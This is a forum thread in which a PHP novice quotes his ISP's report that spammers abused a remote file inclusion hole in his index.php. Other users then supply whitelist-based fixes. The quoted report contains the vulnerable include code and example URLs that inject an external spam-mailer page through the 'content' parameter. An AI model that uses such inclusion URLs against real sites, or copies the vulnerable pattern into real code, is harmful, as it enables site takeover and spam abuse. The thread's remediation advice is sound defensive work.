Spammers are hacking my site

doogstar

I got the below message from my ISP, can someone tell me the best way to stop URLS from being inserted into my site. Your help would be appreciated. I am a newbie to PHP, so you may need to spell it out for me.

Your website has been temporarily taken offline as it is being abused by spammers and used to send large amounts of spam to other users on the Internet.

We have provided our analysis below to hopefully help your web developer(s) understand the problem and hopefully help fix your website.

Basically, it seems that index.php and possibly other files allows inclusion of code from another site. The piece of PHP code in question from index.php has been provided below:
...
<?php
if(isset($GET["content"])) {
$page = $GET["content"];
include_once("$page.htm");
}
else {
include_once("main.htm");
}
?>

Spammers are abusing this to include HTML e-mail forms hosted on a free webspace provider and using it to send mail messages to other users on the Internet. We have renamed index.php to index-old.php and provided an example of one form below:

http://www.imark.com.au/index-old.php?content=http://www.geocities.com/hackc0ster/mailer.jpg?

We have also confirmed this by creating a small HTML file on one of our web servers and used your website to display it. This is shown in the link provided below:

http://www.imark.com.au/index-old.php?content=http://users.tpg.com.au/hawl/test.php?

Our suggestion would be to make modifications to this code so that it validates "content" making sure that it does not contain "http://....".

jazz_snob

Make sure the page you are including is actually a page on your server

$view="main.htm"; //default page
if(isset($_GET["content"])) {
    $page = $_GET["content"];
    if( file_exists("$page.htm")){
        $view =  "$page.htm";
    }
}
include_once( $view );

You may want to keep an array of "legal" names for $view and only include the page if its in the array. Use at your own risk.

-Tom

doogstar

Thanks, that's what I want to do. Sorry, I am a newbie, How do I make an array for 'legal' pages?

jazz_snob

$views = array( 'view0', 'view1', 'view2' );

then make sure $page is in $views, try using in_array()

I think you can figure it out from there. The code I provided above will probably work OK but using the array gives you precise control over which .htm files can be included.

doogstar

Sorry to be a pain, do you mean like this?

$view= array('main.htm', '$page.htm', 'another.htm', 'andanother.htm')
if(isset($GET["content"])) {
$page = $GET["content"];
if( file_exists("$page.htm")){
$view = "$page.htm";
}
}
include_once( $view );

jazz_snob

// not $view here, but $views a different variable
$views= array('main',  'another', 'andanother');  //no variables in the array! 
// also note i took the .htm out of the array values because you originally were
// splicing the .htm back on (see below)
$view = 'main.htm'; //set the default, makes less messy if-else
if(isset($_GET["content"])) {
    $page = $_GET["content"];
    if( in_array( $page, $views ) ) { // is $page a legal value?
        $view = "$page.htm"; 
    }
}
include_once( $view );